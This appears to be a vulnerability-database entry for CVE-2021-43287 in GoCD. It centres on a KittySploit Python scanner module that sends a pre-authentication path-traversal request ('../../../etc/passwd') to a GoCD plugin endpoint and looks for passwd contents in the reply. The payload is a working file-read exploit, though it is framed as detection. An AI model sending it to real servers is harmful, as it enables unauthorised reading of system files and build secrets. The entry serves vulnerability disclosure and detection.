Lucene search
+L

Pre-Auth Takeover of Build Pipelines in GoCD Detection

🗓️ 28 Jul 2026 11:27:38Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 5 Views

Unauthenticated information disclosure in GoCD leaks build secrets and encryption keys.

Related
Refs
Code
ReporterTitlePublishedViews
Family
attackerkb
attackerkb
CVE-2021-43287
14 Apr 202212:15
–attackerkb
attackerkb
attackerkb
Pre-Auth Takeover of Build Pipelines in GoCD (CVE-2021-43287)
3 Nov 202120:31
–attackerkb
circl
Circl
CVE-2021-43287
14 Apr 202216:19
–circl
cnnvd
CNNVD
ThoughtWorks GoCD information leakage vulnerability
14 Apr 202200:00
–cnnvd
cnvd
CNVD
ThoughtWorks GoCD Information Disclosure Vulnerability
20 Apr 202200:00
–cnvd
cve
CVE
CVE-2021-43287
14 Apr 202211:52
–cve
cvelist
Cvelist
CVE-2021-43287
14 Apr 202211:52
–cvelist
githubexploit
GithubExploit
Exploit for Exposure of Sensitive Information to an Unauthorized Actor in Thoughtworks Gocd
7 May 202202:54
–githubexploit
kitploit
Kitploit
GoCD_PoC_Supply_Chain_Attack
15 Oct 202620:29
–kitploit
kitploit
Kitploit
CVE-2021-43287
18 Oct 202609:08
–kitploit
Rows per page
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""GoCD contains a critical information disclosure vulnerability whose exploitation allows unauthenticated attack."""

import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Scanner, Http_client):
    __info__ = {
        'name': 'Pre-Auth Takeover of Build Pipelines in GoCD Detection',
        'description': 'GoCD contains a critical information disclosure vulnerability whose exploitation allows unauthenticated attackers to leak configuration information including build secrets and encryption keys.',
        'author': ['KittySploit Team'],
        'severity': 'high',
        'tags': ['web', 'scanner', 'cve', 'cve2021', 'go', 'lfi', 'gocd', 'thoughtworks', 'vkev', 'vuln'],
        'agent': {
            'risk': 'active',
            'effects': ['network_probe'],
            'expected_requests': 1,
            'reversible': True,
            'approval_required': False,
            'produces': ['tech_hints', 'risk_signals', 'endpoints'],
            'cost': 1.0,
            'noise': 0.3,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0,
                'min_params': 0,
                'tech_hints_any': [],
                'tech_hints_all': [],
                'specializations_any': [],
                'risk_signals_any': [],
                'auth_session': False,
                'capabilities_any': [],
                'capabilities_all': [],
                'confidence_min': {},
                'confidence_min_any': {},
                'endpoint_pattern_any': [],
                'param_any': [],
                'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {
                        'capability': 'admin_surface',
                        'from_detail': '',
                    },
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': ['auxiliary/scanner/http/login_page_detector'],
            },
        },
        'references': [
            'https://attackerkb.com/assessments/9101a539-4c6e-4638-a2ec-12080b7e3b50',
            'https://blog.sonarsource.com/gocd-pre-auth-pipeline-takeover',
            'https://twitter.com/wvuuuuuuuuuuuuu/status/1456316586831323140',
            'https://www.gocd.org/releases/#21-3-0',
            'https://github.com/gocd/gocd/commit/41abc210ac4e8cfa184483c9ff1c0cc04fb3511c',
        ],
        'cve': 'CVE-2021-43287',
    }

    def run(self):
        r = self.http_request(method="GET", path='/go/add-on/business-continuity/api/plugin?folderName=&pluginName=../../../etc/passwd', allow_redirects=False)
        if not r or r.status_code != 200:
            return False
        body = r.text or ""
        body_regexes = ('root:.*:0:0:',)
        if (any(re.search(rx, body, 0) for rx in body_regexes)):
            self.set_info(
                severity='high',
                reason="Pre-Auth Takeover of Build Pipelines in GoCD detected",
                path='/go/add-on/business-continuity/api/plugin?folderName=&pluginName=../../../etc/passwd',
            )
            return True
        return False

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

28 Jul 2026 11:27Current
7.4High risk
Vulners AI Score7.4
CVSS 25
CVSS 3.17.5
EPSS0.2736
5